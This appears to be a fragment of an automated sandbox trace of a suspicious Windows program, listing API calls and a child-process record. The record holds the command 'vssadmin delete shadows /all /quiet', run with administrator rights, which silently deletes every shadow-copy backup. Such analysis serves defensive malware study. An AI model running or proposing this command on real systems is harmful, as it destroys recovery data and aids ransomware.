InitHelperDll () returned 0x0 [0288.956] RegisterHelper () returned 0x0 [0288.956] GetProcessHeap () returned 0x12ee08b0000 [0288.956] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x108) returned 0x12ee08b42e0 [0288.956] GetProcessHeap () returned 0x12ee08b0000 [0288.956] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x12ee08b5030) returned 1 [0289.817] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x12ee08c14a0, lpcchValueName=0xfb9cf7690, lpReserved=0x0, lpType=0x0, lpData=0x12ee08bb8e0, lpcbData=0xfb9cf76e8 | out: lpValueName="4", lpcchValueName=0xfb9cf7690, lpType=0x0, lpData=0x12ee08bb8e0, lpcbData=0xfb9cf76e8) returned 0x0 [0289.817] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0289.817] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0289.817] GetProcessHeap () returned 0x12ee08b0000 [0289.817] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x78) returned 0x12ee08b5030 [0289.817] GetProcessHeap () returned 0x12ee08b0000 [0289.817] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x4) returned 0x12ee08bdfa0 [0289.817] GetProcessHeap () returned 0x12ee08b0000 [0289.817] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x1a) returned 0x12ee08bb9a0 [0289.817] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0289.818] GetProcessHeap () returned 0x12ee08b0000 [0289.818] RtlFreeHeap (HeapHandle=0x12ee08b0000, Flags=0x0, BaseAddress=0x12ee08c1a30) returned 1 [0289.818] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) [0295.297] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff9b63a0000 [0295.299] GetVersion () returned 0x3ad7000a [0295.299] SetErrorMode (uMode=0x0) Thread: id = 121 os_tid = 0x61c Thread: id = 122 os_tid = 0x88c Process: id = "19" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x602ed000" os_pid = "0x970" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x530" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 119 os_tid = 0x920 Thread: id = 120 os_tid = 0x2cc